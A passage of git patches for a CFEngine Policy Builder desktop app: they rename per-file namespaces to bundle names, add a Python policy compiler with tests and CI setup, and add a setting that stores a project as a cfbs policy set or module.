() => { const store = makeStore(); const folder = addFolder(store, 'Sub'); const first = addFile(store, 'Web'); const second = addFile(store, 'web', folder); const third = addFile(store, 'WEB!', folder); - expect([first, second, third].map(id => fileOf(store, id)?.namespace)).toEqual(['web', 'web_2', 'web_3']); + expect([first, second, third].map(id => fileOf(store, id)?.bundle)).toEqual(['web', 'web_2', 'web_3']); }); - it('never derives an empty or reserved namespace', () => { + it('never derives an empty, reserved or masterfiles bundle name', () => { const store = makeStore(); - const ids = ['***', 'Default', 'sys', 'this'].map(name => addFile(store, name)); - const namespaces = ids.map(id => fileOf(store, id)?.namespace); - expect(namespaces).toEqual(['file', 'default_2', 'sys_2', 'this_2']); + const ids = ['***', 'Default', 'sys', 'Main', 'inventory'].map(name => addFile(store, name)); + const bundles = ids.map(id => fileOf(store, id)?.bundle); + expect(bundles).toEqual(['file', 'default_2', 'sys_2', 'main_2', 'inventory_2']); }); it('names siblings uniquely, case-insensitively, but not across folders', () => { @@ -57,23 +57,32 @@ describe('filesSlice', () => { }); }); - describe('deriveNamespace', () => { + describe('deriveBundle', () => { it('slugs, lowercases and trims underscores', () => { - expect(deriveNamespace(' My Cool--Policy! ')).toBe('my_cool_policy'); + expect(deriveBundle(' My Cool--Policy! ')).toBe('my_cool_policy'); }); it('skips taken and reserved suffixed candidates', () => { - expect(deriveNamespace('web', ['web', 'web_2'])).toBe('web_3'); - expect(deriveNamespace('', ['file'])).toBe('file_2'); + expect(deriveBundle('web', ['web', 'web_2'])).toBe('web_3'); + expect(deriveBundle('', ['file'])).toBe('file_2'); + }); + + it('starts with a letter', () => { + expect(deriveBundle('2024 plan')).toBe('file_2024_plan'); + }); + + it('never meets the _vars bundle of another file', () => { + expect(deriveBundle('web vars', ['web'])).toBe('web_vars_2'); + expect(deriveBundle('web', ['web_vars'])).toBe('web_2'); }); }); describe('fileRenamed', () => { - it('keeps the namespace', () => { + it('keeps the bundle name', () => { const store = makeStore(); const fileId = addFile(store, 'Old'); store.dispatch(fileRenamed({ fileId, name: 'New' })); - expect(fileOf(store, fileId)).toMatchObject({ name: 'New', namespace: 'old' }); + expect(fileOf(store, fileId)).toMatchObject({ name: 'New', bundle: 'old' }); }); it('stays unique among siblings, ignoring the file itself', () => { @@ -177,7 +186,7 @@ describe('filesSlice', () => { store.dispatch(projectCreated({ name: 'Web' })); store.dispatch(projectFilesInitialized('Web')); const { files, folders, currentFileId } = store.getState().files; - expect(files).toEqual([{ id: currentFileId, name: 'Web', namespace: 'web', parentId: null }]); + expect(files).toEqual([{ id: currentFileId, name: 'Web', bundle: 'web', parentId: null }]); expect(folders).toEqual([]); }); }); diff --git a/src/renderer/src/store/filesSlice/index.ts b/src/renderer/src/store/filesSlice/index.ts index aa02b7a..51d7fad 100644 --- a/src/renderer/src/store/filesSlice/index.ts +++ b/src/renderer/src/store/filesSlice/index.ts @@ -1,7 +1,7 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; import { projectLoaded } from '../projectSlice'; -import { deriveNamespace } from './deriveNamespace'; +import { deriveBundle } from './deriveBundle'; import { collectFolderDescendants, sanitizeFileSystemName, uniqueSiblingName } from './fileTree'; import type { PolicyFile, PolicyFolder } from './types'; @@ -32,7 +32,7 @@ const filesSlice = createSlice({ projectFilesInitialized: { reducer(_state, action: PayloadAction<{ id: string; name: string }>) { const name = sanitizeFileSystemName(action.payload.name) || DEFAULT_NAME; - const file: PolicyFile = { id: action.payload.id, name, namespace: deriveNamespace(name), parentId: null }; + const file: PolicyFile = { id: action.payload.id, name, bundle: deriveBundle(name), parentId: null }; return { files: [file], folders: [], currentFileId: file.id }; }, prepare(name: string) { @@ -46,9 +46,9 @@ const filesSlice = createSlice({ const file: PolicyFile = { id: action.payload.id, name, - namespace: deriveNamespace( + bundle: deriveBundle( name, - state.files.map(item => item.namespace) + state.files.map(item => item.bundle) ), parentId: action.payload.parentId }; @@ -88,7 +88,7 @@ const filesSlice = createSlice({ fileSelected(state, action: PayloadAction<{ fileId: string }>) { state.currentFileId = action.payload.fileId; }, - // Renaming never touches namespace — see the field comment in types.ts. + // Renaming never touches the bundle name — see the field comment in types.ts. fileRenamed(state, action: PayloadAction<{ fileId: string; name: string }>) { const file = state.files.find(item => item.id === action.payload.fileId); if (!file) return; diff --git a/src/renderer/src/store/filesSlice/types.ts b/src/renderer/src/store/filesSlice/types.ts index b2fc20a..a8cdb10 100644 --- a/src/renderer/src/store/filesSlice/types.ts +++ b/src/renderer/src/store/filesSlice/types.ts @@ -1,20 +1,19 @@ import type { Condition } from '../canvasSlice/types'; export interface PolicyFile { + // The file's entry bundle name, and the prefix of its other bundles: + // `_vars` (its variables and classes) and `_`. + // Policy is in the default namespace, so it's unique project-wide. + // Derived from name at creation time and never changed afterward, even if + // the file is renamed (references like `$(_vars.x)` depend on it). + bundle: string; // Gates the whole file — every block, variables and classes included. It - // compiles to one if/unless on the call to the file's entry bundle. + // compiles to a class guard over the file's calls and definitions. condition?: Condition; id: string; name: string; - // Derived from name at creation time; per architecture-plan.md, never - // changes afterward even if the file is renamed. Distinct per file, unlike - // a project-wide namespace: each file's `body file control` declares its - // own, and referencing another file's variable/class needs a - // namespace-qualified name. - namespace: string; - // Purely organizational — folders carry no CFEngine meaning (unlike - // namespace, which is per file regardless of nesting). null means the - // project's root. + // Organizational, and the file's path: a top-level folder is one cfbs + // directory module. null means the project's root. parentId: string | null; } From b3cffcbebb11683673d86be66c43140771c5d7c9 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Thu, 1 Oct 2026 10:13:28 +0300 Subject: [PATCH 005/141] Added policy generation: each save writes the project's .cf files The sidecar's new compile operation turns every canvas into readable policy, following the contract in blocks/README.md: an entry bundle named after the file, one bundle per block named after its label, the file's variables and classes in _vars, and arrows as results() classes. It covers every block type, value source and decorator, parameters computed from data included. Templates get just the data they read, instead of all of datastate(). Saving writes the .cf files before cfbs.json and removes ones a previous save wrote, and New Project commits them with cfbs.json. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/ci.yml | 5 + blocks/README.md | 98 ++-- e2e/open.spec.ts | 14 +- python/README.md | 11 +- python/cfpb-backend.spec | 2 + python/cfpb_backend.py | 37 +- python/cfpb_compiler.py | 627 +++++++++++++++++++++++ python/pyproject.toml | 2 +- python/tests/fixtures/demo-project.json | 254 +++++++++ python/tests/fixtures/stdlib-stub.cf | 45 ++ python/tests/test_cfpb_backend.py | 34 +- python/tests/test_compiler.py | 217 ++++++++ python/tests/test_compiler_all_blocks.py | 175 +++++++ src/main/backend.ts | 18 + src/main/project.ts | 31 +- src/renderer/src/project/cfbsProject.ts | 3 +- 16 files changed, 1529 insertions(+), 44 deletions(-) create mode 100644 python/cfpb_compiler.py create mode 100644 python/tests/fixtures/demo-project.json create mode 100644 python/tests/fixtures/stdlib-stub.cf create mode 100644 python/tests/test_compiler.py create mode 100644 python/tests/test_compiler_all_blocks.py diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index e282428..fcdad5a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -63,6 +63,11 @@ jobs: node-version-file: .nvmrc cache: npm - run: npm ci + # Saving a project runs the Python sidecar's policy compiler. + - uses: astral-sh/setup-uv@v7 + with: + enable-cache: true + - run: uv sync --frozen --directory python # Ubuntu 24.04's AppArmor blocks the unprivileged user namespaces Chromium's sandbox needs. - run: sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0 - run: xvfb-run -a npm run test:e2e diff --git a/blocks/README.md b/blocks/README.md index 66222a0..c5981a0 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -46,30 +46,55 @@ affects stored instances or compiled output bumps the block's `version` (migrati ## Compiled shape (per policy file) -```cfengine3 -body file control { namespace => ""; } +Policy is in the **default namespace**, like hand-written cfbs projects. Each file has a bundle +name (``, from its name, unique project-wide — see `filesSlice/deriveBundle.ts`), which names +everything it compiles to: -bundle common vars # every file_vars entry of the file +```cfengine3 +# Generated by CFEngine Policy Builder from "". … +bundle common _vars # every file_vars entry of the file { - vars: "" => , if => ; - classes: "" => ; + vars: + :: # only with a file condition + "" => , if => ""; + classes: + "" => ; } -bundle agent # called via cfbs; the file condition guards this call +bundle agent # what the cfbs `bundles ` step runs; absent when the file only defines variables and classes { methods: - "
+ + + + {type === 'module' && ( + + module + + )} {masterfiles && masterfiles {masterfiles}} bundle: {bundle} {fileGate && ( diff --git a/src/renderer/src/components/dialogs/NewProjectDialog.tsx b/src/renderer/src/components/dialogs/NewProjectDialog.tsx index 4f7fdee..484ef3f 100644 --- a/src/renderer/src/components/dialogs/NewProjectDialog.tsx +++ b/src/renderer/src/components/dialogs/NewProjectDialog.tsx @@ -23,6 +23,8 @@ import { } from '@mui/material'; import { projectFolderName } from '../../project/cfbsProject'; +import type { ProjectType } from '../../store/projectSlice/types'; +import { ProjectTypeField } from './ProjectTypeField'; export const DEFAULT_DESCRIPTION = 'Policy built with CFEngine Policy Builder'; const FALLBACK_VERSIONS = { latest: '3.27.1' }; @@ -40,6 +42,7 @@ export interface ProjectFormValues { name: string; // null without the Electron bridge (tests): the project stays in memory. parent: string | null; + type: ProjectType; } export type SubmitResult = { ok: true } | { details: string; message: string; ok: false }; @@ -47,6 +50,7 @@ export type SubmitResult = { ok: true } | { details: string; message: string; ok interface NewProjectDialogProps { initialDescription?: string; initialName?: string; + initialType?: ProjectType; // 'saveAs': gives an in-memory project (the demo) its folder on disk. mode: 'new' | 'saveAs'; onClose: () => void; @@ -69,7 +73,7 @@ function useDefaultParent() { return [parent, setParent] as const; } -function useMasterfilesVersions() { +export function useMasterfilesVersions() { const [versions, setVersions] = useState(FALLBACK_VERSIONS); useEffect(() => { window.api @@ -167,7 +171,14 @@ function ErrorAlert({ error }: { error: { details: string; message: string } }) * Creates a cfbs project folder on disk (`cfbs init` via main) and opens it. * Without the Electron bridge (tests) the project is created in memory only. */ -export function NewProjectDialog({ mode, initialName = '', initialDescription = DEFAULT_DESCRIPTION, onClose, onSubmit }: NewProjectDialogProps) { +export function NewProjectDialog({ + mode, + initialName = '', + initialDescription = DEFAULT_DESCRIPTION, + initialType = 'policy-set', + onClose, + onSubmit +}: NewProjectDialogProps) { const persistent = Boolean(window.api); const [name, setName] = useState(initialName); const [description, setDescription] = useState(initialDescription); @@ -175,6 +186,7 @@ export function NewProjectDialog({ mode, initialName = '', initialDescription = const versions = useMasterfilesVersions(); const [masterfiles, setMasterfiles] = useState('latest'); const [git, setGit] = useState(true); + const [type, setType] = useState(initialType); const [submitting, setSubmitting] = useState(false); const [error, setError] = useState<{ details: string; message: string } | null>(null); @@ -190,7 +202,17 @@ export function NewProjectDialog({ mode, initialName = '', initialDescription = if (!canSubmit) return; setSubmitting(true); setError(null); - const values = { name: name.trim(), description: description.trim(), parent: persistent ? parent : null, folderName, masterfiles: version, git }; + // A module brings no masterfiles: the policy sets that add it do. + const masterfilesValue = type === 'module' ? 'no' : version; + const values = { + name: name.trim(), + description: description.trim(), + parent: persistent ? parent : null, + folderName, + masterfiles: masterfilesValue, + git, + type + }; const result = await onSubmit(values).catch((cause: unknown): SubmitResult => ({ ok: false, message: String((cause as Error)?.message ?? cause), @@ -203,7 +225,12 @@ export function NewProjectDialog({ mode, initialName = '', initialDescription = } }; - const progress = masterfiles === 'master' ? 'Downloading masterfiles from the master branch…' : `Downloading masterfiles ${version}…`; + const progress = + type === 'module' + ? 'Creating the module…' + : masterfiles === 'master' + ? 'Downloading masterfiles from the master branch…' + : `Downloading masterfiles ${version}…`; return ( @@ -250,7 +277,8 @@ export function NewProjectDialog({ mode, initialName = '', initialDescription = {persistent && ( <> - + + Which version of masterfiles would you like to use? diff --git a/src/renderer/src/components/dialogs/ProjectSettingsDialog.tsx b/src/renderer/src/components/dialogs/ProjectSettingsDialog.tsx new file mode 100644 index 0000000..af2e26b --- /dev/null +++ b/src/renderer/src/components/dialogs/ProjectSettingsDialog.tsx @@ -0,0 +1,87 @@ +import { useState } from 'react'; + +import { + Alert, + Button, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + FormControl, + FormControlLabel, + FormLabel, + Radio, + RadioGroup, + Stack +} from '@mui/material'; + +import type { Project, ProjectType } from '../../store/projectSlice/types'; +import { ProjectTypeField } from './ProjectTypeField'; + +interface ProjectSettingsDialogProps { + // The latest 3.27.x masterfiles release, for a module that becomes a policy set. + latestMasterfiles: string; + onClose: () => void; + // Saves the project in the new shape; resolves with whether that worked. + onTypeChange: (type: ProjectType, masterfiles: string | null) => Promise; + project: Project; +} + +/** Project-wide settings: how the project is stored. Changing it converts cfbs.json on Save. */ +export function ProjectSettingsDialog({ latestMasterfiles, onClose, onTypeChange, project }: ProjectSettingsDialogProps) { + const [type, setType] = useState(project.type); + const [masterfiles, setMasterfiles] = useState<'latest' | 'master'>('latest'); + const [saving, setSaving] = useState(false); + // A policy set needs masterfiles; a module doesn't bring any. + const needsMasterfiles = type === 'policy-set' && project.type === 'module' && !project.masterfiles; + const changed = type !== project.type; + + const apply = async () => { + if (!changed) return onClose(); + setSaving(true); + const version = needsMasterfiles ? (masterfiles === 'master' ? 'master' : latestMasterfiles) : null; + if (await onTypeChange(type, version)) onClose(); + else setSaving(false); + }; + + return ( + + Project Settings + + + + {needsMasterfiles && ( + + + Which version of masterfiles would you like to use? + + setMasterfiles(event.target.value as 'latest' | 'master')} + > + } label={`Latest (${latestMasterfiles})`} /> + } label="Master branch" /> + + + )} + {changed && project.path && ( + + {type === 'module' + ? 'Saves the project as a module: cfbs.json provides it as one module instead of building it. Other build entries, masterfiles included, are kept.' + : 'Saves the project as a policy set: cfbs.json builds it with masterfiles instead of providing it.'} + + )} + + + + + + + + ); +} diff --git a/src/renderer/src/components/dialogs/ProjectTypeField.tsx b/src/renderer/src/components/dialogs/ProjectTypeField.tsx new file mode 100644 index 0000000..ce67b27 --- /dev/null +++ b/src/renderer/src/components/dialogs/ProjectTypeField.tsx @@ -0,0 +1,44 @@ +import { FormControl, FormControlLabel, FormLabel, Radio, RadioGroup, Typography } from '@mui/material'; + +import type { ProjectType } from '../../store/projectSlice/types'; + +const OPTIONS: { description: string; label: string; value: ProjectType }[] = [ + { + value: 'policy-set', + label: 'Policy set', + description: 'A complete policy: masterfiles plus this project, built and deployed with cfbs build.' + }, + { + value: 'module', + label: 'Module', + description: 'A cfbs module other policy sets add with cfbs add ; they choose the masterfiles.' + } +]; + +/** "Store as": how the project's cfbs.json is shaped (its `type`). */ +export function ProjectTypeField({ disabled, onChange, value }: { disabled?: boolean; onChange: (type: ProjectType) => void; value: ProjectType }) { + return ( + + + Store as + + onChange(event.target.value as ProjectType)}> + {OPTIONS.map(option => ( + } + label={ + <> + {option.label} + + {option.description} + + + } + /> + ))} + + + ); +} diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index be2b66c..f944e99 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -202,11 +202,12 @@ function DragPreviewCard({ badge, label }: DragPreview) { interface ProjectViewProps { // Unsaved changes since the last save (see project/useProjectSession.ts). dirty: boolean; + onOpenSettings: () => void; onSave: () => void; } /** The open project; saving it into cfbs.json is owned by App (project/useProjectSession.ts). */ -export default function ProjectView({ dirty, onSave }: ProjectViewProps) { +export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectViewProps) { const dispatch = useAppDispatch(); const project = useAppSelector(selectCurrentProject); const files = useAppSelector(selectFiles); @@ -823,6 +824,8 @@ export default function ProjectView({ dirty, onSave }: ProjectViewProps) { blockCount={instances.length} activeTab={activeTab} onTabChange={setActiveTab} + onOpenSettings={onOpenSettings} + type={project.type} /> diff --git a/src/renderer/src/project/cfbsProject.test.ts b/src/renderer/src/project/cfbsProject.test.ts index f5e8634..f0511bb 100644 --- a/src/renderer/src/project/cfbsProject.test.ts +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -5,7 +5,7 @@ import { derivedNodeMoved } from '../store/derivedNodesSlice'; import { fileAdded, fileConditionClassNameChanged, fileConditionEnabled, folderAdded } from '../store/filesSlice'; import { groupCreated } from '../store/groupsSlice'; import { addBlock, makeStore } from '../store/test/storeTestUtils'; -import { META_KEY, SCHEMA_VERSION, fromCfbsProject, loadCfbsProject, toCfbsProject } from './cfbsProject'; +import { SCHEMA_VERSION, fromBuilderProject, loadCfbsProject, toCfbsProject } from './cfbsProject'; function buildProject() { const store = makeStore(); @@ -21,14 +21,17 @@ function buildProject() { } const masterfiles = { name: 'masterfiles', version: '3.27.1', added_by: 'cfbs init' }; -const asCfbsJson = ({ meta, modules }: ReturnType, extra: object = {}) => - JSON.parse(JSON.stringify({ name: 'x', meta, build: [masterfiles, ...modules], ...extra })); +const IDENTITY = { description: 'Nginx baseline', moduleName: 'web-demo', name: 'Web Demo' }; +const asCfbsJson = ({ modules }: ReturnType, extra: object = {}) => + JSON.parse(JSON.stringify({ name: 'x', build: [masterfiles, ...modules], ...extra })); +// .policy-builder/project.json as it's read back from disk. +const asBuilderJson = ({ project }: ReturnType) => JSON.parse(JSON.stringify(project)); describe('cfbsProject', () => { it('round-trips the project through cfbs.json', () => { const { state } = buildProject(); - const restored = fromCfbsProject(asCfbsJson(toCfbsProject(state))); + const restored = fromBuilderProject(asBuilderJson(toCfbsProject(state, IDENTITY))); expect(restored.files).toEqual(state.files); expect(restored.canvas).toEqual(expect.arrayContaining(state.canvas)); @@ -40,7 +43,7 @@ describe('cfbsProject', () => { it('mirrors the file tree: a top-level file is a file module, a top-level folder a directory module', () => { const { fileId, folderId, state } = buildProject(); - const { meta, modules } = toCfbsProject(state); + const { project, modules } = toCfbsProject(state, IDENTITY); const file = state.files.files.find(item => item.id === fileId)!; // Exactly what `cfbs add` writes, but for the bundles step; no builder data on modules. @@ -59,8 +62,8 @@ describe('cfbsProject', () => { added_by: 'cfbs add', steps: ['directory ./ services/cfbs/services/', 'policy_files services/cfbs/services/', `bundles ${file.bundle}`] }); - expect(meta[META_KEY]).toMatchObject({ schema_version: SCHEMA_VERSION, folders: [{ id: folderId, name: 'Services', path: './services/' }] }); - expect(meta[META_KEY].files.find(item => item.id === fileId)).toMatchObject({ + expect(project).toMatchObject({ schema_version: SCHEMA_VERSION, folders: [{ id: folderId, name: 'Services', path: './services/' }] }); + expect(project.files.find(item => item.id === fileId)).toMatchObject({ name: 'Cron jobs', bundle: 'cron_jobs', path: './services/cron_jobs.cf', @@ -77,18 +80,18 @@ describe('cfbsProject', () => { addBlock(store, store.dispatch(fileAdded('Postgres', nested)).payload.id); store.dispatch(fileAdded('Only vars', top)); - const { meta, modules } = toCfbsProject(store.getState()); + const { project, modules } = toCfbsProject(store.getState(), IDENTITY); expect(modules.map(module => module.name)).toEqual(['./services/']); expect(modules[0].steps.at(-1)).toBe('bundles cron postgres'); - expect(meta[META_KEY].files.map(file => file.path)).toEqual(['./services/cron.cf', './services/db/postgres.cf', './services/only_vars.cf']); - expect(meta[META_KEY].folders.find(folder => folder.id === empty)?.path).toBe('./empty/'); + expect(project.files.map(file => file.path)).toEqual(['./services/cron.cf', './services/db/postgres.cf', './services/only_vars.cf']); + expect(project.folders.find(folder => folder.id === empty)?.path).toBe('./empty/'); }); it('gives a file of only variables and classes no bundles step: it has no entry bundle', () => { const store = makeStore(); createNginxDemoProject(store.dispatch); - const [common, webserver] = toCfbsProject(store.getState()).modules; + const [common, webserver] = toCfbsProject(store.getState(), IDENTITY).modules; expect(common.steps).toEqual(['copy ./common.cf services/cfbs/common.cf', 'policy_files services/cfbs/common.cf']); expect(webserver.steps.at(-1)).toBe('bundles webserver'); @@ -96,7 +99,7 @@ describe('cfbsProject', () => { it('keeps editor-only data in layout, and resolves the execution order', () => { const { state } = buildProject(); - const { files } = toCfbsProject(state).meta[META_KEY]; + const { files } = toCfbsProject(state, IDENTITY).project; for (const { blocks, layout, order } of files) { expect(blocks.every(block => !('fileId' in block) && !('position' in block))).toBe(true); @@ -114,25 +117,44 @@ describe('cfbsProject', () => { const out = store.dispatch(folderAdded('Out')).payload.id; for (const folder of [first, second, numbered, out]) store.dispatch(fileAdded('Plan', folder)); - const names = toCfbsProject(store.getState()).modules.map(module => module.name); + const names = toCfbsProject(store.getState(), IDENTITY).modules.map(module => module.name); expect(names).toEqual(['./web-servers/', './web-servers-2/', './folder-2024/', './out-2/']); }); + it('provides the whole project as one module, its files under services/cfbs//', () => { + const { state } = buildProject(); + const { project, provided } = toCfbsProject(state, IDENTITY); + + expect(project).toMatchObject({ name: 'Web Demo', module_name: 'web-demo' }); + expect(provided).toEqual({ + description: 'Nginx baseline', + tags: ['policy-builder'], + steps: [ + 'copy ./common.cf services/cfbs/web-demo/common.cf', + 'copy ./webserver.cf services/cfbs/web-demo/webserver.cf', + 'copy ./services/ services/cfbs/web-demo/services/', + 'policy_files services/cfbs/web-demo/', + `bundles webserver ${state.files.files.find(file => file.name === 'Cron jobs')!.bundle}` + ] + }); + }); + it('refuses a newer schema version', () => { const { state } = buildProject(); - const content = toCfbsProject(state); - content.meta[META_KEY].schema_version = SCHEMA_VERSION + 1; - expect(() => fromCfbsProject(asCfbsJson(content))).toThrow(/schema version/); + const content = toCfbsProject(state, IDENTITY); + content.project.schema_version = SCHEMA_VERSION + 1; + expect(() => fromBuilderProject(asBuilderJson(content))).toThrow(/schema version/); }); }); describe('loadCfbsProject', () => { it('loads a builder project with its name, description and masterfiles version', () => { const { state } = buildProject(); - const json = asCfbsJson(toCfbsProject(state), { name: 'Web', description: 'Hardening', type: 'policy-set' }); + const content = toCfbsProject(state, IDENTITY); + const json = asCfbsJson(content, { name: 'Web', description: 'Hardening', type: 'policy-set' }); - const loaded = loadCfbsProject(json, 'web'); + const loaded = loadCfbsProject(json, asBuilderJson(content), 'web'); expect(loaded).toMatchObject({ name: 'Web', description: 'Hardening', masterfiles: '3.27.1' }); expect(loaded.data.files).toEqual(state.files); @@ -142,7 +164,7 @@ describe('loadCfbsProject', () => { it('opens a cfbs project without builder data with one empty file named after it', () => { const json = { name: 'Plain', type: 'policy-set', build: [{ name: 'masterfiles', url: 'https://github.com/cfengine/masterfiles', branch: 'master' }] }; - const { data, masterfiles: version, name } = loadCfbsProject(json, 'plain'); + const { data, masterfiles: version, name } = loadCfbsProject(json, null, 'plain'); expect(name).toBe('Plain'); expect(version).toBe('master'); @@ -152,28 +174,38 @@ describe('loadCfbsProject', () => { expect(data).toMatchObject({ canvas: [], edges: [], groups: [], derivedNodes: {} }); }); + it('loads a module project: its type, module name and display name', () => { + const { state } = buildProject(); + const content = toCfbsProject(state, IDENTITY); + const json = { name: 'web-demo', type: 'module', description: 'Nginx baseline', provides: { 'web-demo': content.provided } }; + + const loaded = loadCfbsProject(json, asBuilderJson(content), 'web-demo'); + + expect(loaded).toMatchObject({ type: 'module', moduleName: 'web-demo', name: 'Web Demo', masterfiles: null }); + expect(loaded.data.files).toEqual(state.files); + }); + it('falls back to the folder name, and no masterfiles', () => { - const loaded = loadCfbsProject({ build: [] }, 'my-policy'); + const loaded = loadCfbsProject({ build: [] }, null, 'my-policy'); expect(loaded).toMatchObject({ name: 'my-policy', description: '', masterfiles: null }); }); it('refuses a project made by a newer builder', () => { - const json = { name: 'x', build: [], meta: { [META_KEY]: { schema_version: SCHEMA_VERSION + 1 } } }; - expect(() => loadCfbsProject(json, 'x')).toThrow(/newer version of CFEngine Policy Builder/); + expect(() => loadCfbsProject({ name: 'x', build: [] }, { schema_version: SCHEMA_VERSION + 1 }, 'x')).toThrow(/newer version of CFEngine Policy Builder/); }); it.each([ - ['not an object', [1, 2]], - ['null', null], - ['non-object builder meta', { name: 'x', meta: { [META_KEY]: 'yes' } }], - ['builder meta without a schema version', { name: 'x', meta: { [META_KEY]: {} } }] - ])('refuses %s', (_what, json) => { - expect(() => loadCfbsProject(json, 'x')).toThrow(); + ['a cfbs.json that is not an object', [1, 2], null], + ['a null cfbs.json', null, null], + ['non-object builder data', { name: 'x' }, 'yes'], + ['builder data without a schema version', { name: 'x' }, {}] + ])('refuses %s', (_what, json, builder) => { + expect(() => loadCfbsProject(json, builder, 'x')).toThrow(); }); it('tolerates corrupt per-file lists', () => { const file = { id: 'f1', name: 'A', bundle: 'a', path: './a.cf', blocks: 'oops', layout: 'oops' }; - const { data } = loadCfbsProject({ build: [], meta: { [META_KEY]: { schema_version: SCHEMA_VERSION, files: [file] } } }, 'x'); + const { data } = loadCfbsProject({ build: [] }, { schema_version: SCHEMA_VERSION, files: [file] }, 'x'); expect(data.canvas).toEqual([]); expect(data.files.files).toEqual([{ bundle: 'a', id: 'f1', name: 'A', parentId: null }]); }); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index c520f24..959ebab 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -8,18 +8,19 @@ import { deriveBundle } from '../store/filesSlice/deriveBundle'; import type { PolicyFile, PolicyFolder } from '../store/filesSlice/types'; import type { BlockGroup } from '../store/groupsSlice/types'; import type { UndoableKey } from '../store/history'; +import type { ProjectType } from '../store/projectSlice/types'; +import { moduleNameFor } from './moduleName'; /** - * The builder's state as it's stored in cfbs.json: a normal cfbs project that - * mirrors the file tree — each top-level policy file is a local file module, - * each top-level folder one local directory module (what `cfbs add` writes - * for them) — with all of the builder's own data, folders and every file's - * canvas, in the top-level `meta["policy-builder"]`. Each save also writes - * the generated .cf files (main process, via the sidecar's compiler). + * The builder's state on disk: a normal cfbs project that mirrors the file + * tree — each top-level policy file is a local file module, each top-level + * folder one local directory module (what `cfbs add` writes for them) — and + * all of the builder's own data, folders and every file's canvas, in + * `.policy-builder/project.json`, so cfbs.json stays plain cfbs. Each save + * also writes the generated .cf files (main process, via the sidecar). */ export const SCHEMA_VERSION = 1; -export const META_KEY = 'policy-builder'; const ROOT = './'; const OUTPUT_DIR = 'services/cfbs/'; // Top-level names taken next to cfbs.json: cfbs's build output, and generated templates. @@ -34,6 +35,10 @@ export interface ProjectMeta { files: FileMeta[]; // `path` is the folder's directory, e.g. "./services/". folders: (PolicyFolder & { path: string })[]; + // The name the project is provided under when stored as a cfbs module. + module_name: string; + // The display name (a module's cfbs.json name has to be its module name). + name: string; schema_version: number; // Stamped by the main process on save (the app's version). tool_version?: string; @@ -69,9 +74,27 @@ export interface PolicyModule { tags: string[]; } +// The one module a project stored as a cfbs module provides: cfbs.json `provides[]`. +export interface ProvidedModule { + description: string; + steps: string[]; + tags: string[]; +} + export interface CfbsProjectContent { - meta: { [META_KEY]: ProjectMeta }; + // cfbs.json `build` entries, when stored as a policy set. modules: PolicyModule[]; + // .policy-builder/project.json. + project: ProjectMeta; + // When stored as a module. The main process adds a templates/ copy step when there are templates. + provided: ProvidedModule; +} + +// What the project is called and provided as. +interface Identity { + description: string; + moduleName: string; + name: string; } const withoutFileId = ({ fileId: _fileId, ...rest }: T): Omit => rest; @@ -165,7 +188,19 @@ function toModule(name: string, entryBundles: string[]): PolicyModule { }; } -export function toCfbsProject(data: ProjectData): CfbsProjectContent { +// A module's steps: its files and folders copied into services/cfbs//, as the +// policy-set modules lay them out, so templates are found the same way. +function toProvided(names: Map, identity: Identity): ProvidedModule { + const output = `${OUTPUT_DIR}${identity.moduleName}/`; + const copies = [...names.keys()].map(name => `copy ${name} ${output}${name.slice(ROOT.length)}`); + return { + description: identity.description || 'Policy built with CFEngine Policy Builder', + tags: ['policy-builder'], + steps: [...copies, `policy_files ${output}`, ...bundlesSteps([...names.values()].flat())] + }; +} + +export function toCfbsProject(data: ProjectData, identity: Identity): CfbsProjectContent { const paths = folderPaths(data.files.folders); const pathOf = (file: PolicyFile) => `${(file.parentId && paths.get(file.parentId)) || ROOT}${file.bundle}.cf`; const callsBlocks = (file: PolicyFile) => data.canvas.some(block => block.fileId === file.id && isSequenced(blockDescriptorsById.get(block.blockId))); @@ -176,26 +211,21 @@ export function toCfbsProject(data: ProjectData): CfbsProjectContent { modules.set(name, [...(modules.get(name) ?? []), ...(callsBlocks(file) ? [file.bundle] : [])]); } return { - meta: { - [META_KEY]: { - schema_version: SCHEMA_VERSION, - folders: data.files.folders.map(folder => ({ ...folder, path: paths.get(folder.id)! })), - files: data.files.files.map(file => toFileMeta(file, pathOf(file), data)), - current_file_id: data.files.currentFileId - } + project: { + schema_version: SCHEMA_VERSION, + name: identity.name, + module_name: identity.moduleName, + folders: data.files.folders.map(folder => ({ ...folder, path: paths.get(folder.id)! })), + files: data.files.files.map(file => toFileMeta(file, pathOf(file), data)), + current_file_id: data.files.currentFileId }, - modules: [...modules].map(([name, bundles]) => toModule(name, bundles)) + modules: [...modules].map(([name, bundles]) => toModule(name, bundles)), + provided: toProvided(modules, identity) }; } const isObject = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); -// The builder's part of cfbs.json's `meta`, if any. -const builderMetaOf = (entry: unknown): Record | undefined => { - const meta = isObject(entry) && isObject(entry.meta) ? entry.meta[META_KEY] : undefined; - return isObject(meta) ? meta : undefined; -}; - const listOf = (value: T[] | undefined): T[] => (Array.isArray(value) ? value : []); function checkSchemaVersion(version: unknown) { @@ -209,10 +239,10 @@ function checkSchemaVersion(version: unknown) { } } -/** Rebuilds the builder's in-memory state from a parsed cfbs.json. */ -export function fromCfbsProject(json: unknown): ProjectData { - const project = builderMetaOf(json) as unknown as ProjectMeta | undefined; - if (!project) throw new Error(`Not a CFEngine Policy Builder project (no "meta"."${META_KEY}" in cfbs.json)`); +/** Rebuilds the builder's in-memory state from a parsed .policy-builder/project.json. */ +export function fromBuilderProject(json: unknown): ProjectData { + if (!isObject(json)) throw new Error('The project’s builder data (.policy-builder/project.json) is not a JSON 